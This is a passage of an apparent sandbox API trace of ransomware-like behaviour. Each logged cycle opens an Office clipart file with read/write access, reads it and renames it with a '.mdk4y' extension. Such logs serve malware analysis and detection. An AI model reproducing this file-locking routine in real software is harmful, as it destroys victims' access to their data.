Office\\CLIPART\\PUB60COR\\J0285796.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf.mdk4y")) returned 1 [0166.265] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.265] AreFileApisANSI () returned 1 [0166.265] GetACP () returned 0x4e4 [0166.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285808.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285808.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.265] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.266] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824149600000) returned 1 [0166.266] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x23f4, lpOverlapped=0x0) returned 1 [0166.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824150500000) returned 1 [0166.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824150500000) returned 1 [0166.276] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf.mdk4y")) returned 1 [0166.277] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.277] AreFileApisANSI () returned 1 [0166.277] GetACP () returned 0x4e4 [0166.277] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285820.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285820.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.277] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824150700000) returned 1 [0166.277] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2210, lpOverlapped=0x0) returned 1 [0166.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824153400000) returned 1 [0166.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824153400000) returned 1 [0166.305] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf.mdk4y")) returned 1 [0166.306] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.306] AreFileApisANSI () returned 1 [0166.306] GetACP () returned 0x4e4 [0166.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285822.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285822.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.306] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824153700000) returned 1 [0166.307] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x21a0, lpOverlapped=0x0) returned 1 [0166.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824155800000) returned 1 [0166.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824155800000) returned 1 [0166.328] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf.mdk4y")) returned 1 [0166.329] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.330] AreFileApisANSI () returned 1 [0166.330] GetACP () returned 0x4e4 [0166.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287018.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287018.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.330] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824156000000) returned 1 [0166.330] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7898, lpOverlapped=0x0) returned 1 [0166.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824157400000) returned 1 [0166.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824157400000) returned 1 [0166.345] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf.mdk4y")) returned 1 [0166.347] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.347] AreFileApisANSI () returned 1 [0166.347] GetACP () returned 0x4e4 [0166.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287019.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287019.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.347] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824157700000) returned 1 [0166.347] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x931a, lpOverlapped=0x0) returned 1 [0166.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824157900000) returned 1 [0166.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824157900000) returned 1 [0166.349] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf.mdk4y")) returned 1 [0166.350] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.350] AreFileApisANSI () returned 1 [0166.350] GetACP () returned 0x4e4 [0166.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287020.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287020.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.350] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824158000000) returned 1 [0166.351] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x80d8, lpOverlapped=0x0) returned 1 [0166.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824160800000) returned 1 [0166.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824160800000) returned 1 [0166.379] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf.mdk4y")) returned 1 [0166.380] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.380] AreFileApisANSI () returned 1 [0166.380] GetACP () returned 0x4e4 [0166.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287024.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287024.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.380] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.381] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824161300000) returned 1 [0166.383] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc6d2, lpOverlapped=0x0) returned 1 [0166.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824162200000) returned 1 [0166.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824162200000) returned 1 [0166.393] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf.mdk4y")) returned 1 [0166.394] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.394] AreFileApisANSI () returned 1 [0166.394] GetACP () returned 0x4e4 [0166.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287408.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287408.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.394] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824162400000) returned 1 [0166.395] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd10, lpOverlapped=0x0) returned 1 [0166.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824165800000) returned 1 [0166.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824165900000) returned 1 [0166.429] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf.mdk4y")) returned 1 [0166.430] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.430] AreFileApisANSI () returned 1 [0166.430] GetACP () returned 0x4e4 [0166.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287415.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287415.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.430] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824166100000) returned 1 [0166.431] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa80c, lpOverlapped=0x0) returned 1 [0166.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824166200000) returned 1 [0166.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824166200000) returned 1 [0166.434] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf.mdk4y")) returned 1 [0166.435] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.435] AreFileApisANSI () returned 1 [0166.435] GetACP () returned 0x4e4 [0166.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287417.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287417.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0166.435] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824166500000) returned 1 [0166.435] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd6bc, lpOverlapped=0x0) returned 1 [0166.490] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824172000000) returned 1 [0166.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824172100000) returned 1 [0166.491] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf.mdk4y")) returned 1 [0166.492] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.492] AreFileApisANSI () returned 1 [0166.492] GetACP () returned 0x4e4 [0166.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287641.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287641.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0166.492] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824172300000) returned 1 [0166.493] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x89a4, lpOverlapped=0x0) returned 1 [0166.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824185600000) returned 1 [0166.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824185600000) returned 1 [0166.626] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.mdk4y")) returned 1 [0166.627] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.627] AreFileApisANSI () returned 1 [0166.627] GetACP () returned 0x4e4 [0166.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287642.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287642.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0166.627] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824185800000) returned 1 [0166.628] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x42d1, lpOverlapped=0x0) returned 1 [0166.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824185900000) returned 1 [0166.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824185900000) returned 1 [0166.629] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.mdk4y")) returned 1 [0166.632] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.632] AreFileApisANSI () returned 1 [0166.632] GetACP () returned 0x4e4 [0166.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287643.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287643.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0166.632] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824186300000) returned 1 [0166.633] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3e91, lpOverlapped=0x0) returned 1 [0166.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824187800000) returned 1 [0166.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824187800000) returned 1 [0166.649] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.mdk4y")) returned 1 [0166.649] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.650] AreFileApisANSI () returned 1 [0166.650] GetACP () returned 0x4e4 [0166.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287644.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287644.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0166.650] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0166.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824188000000) returned 1 [0166.650] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x43c5, lpOverlapped=0x0) returned 1 [0166.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824191600000) returned 1 [0166.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824191600000) returned 1 [0166.687] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.mdk4y")) returned 1 [0166.688] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0166.688] AreFileApisANSI () returned 1 [0166.688] GetACP () returned 0x4e4 [0166.688] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287645.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, 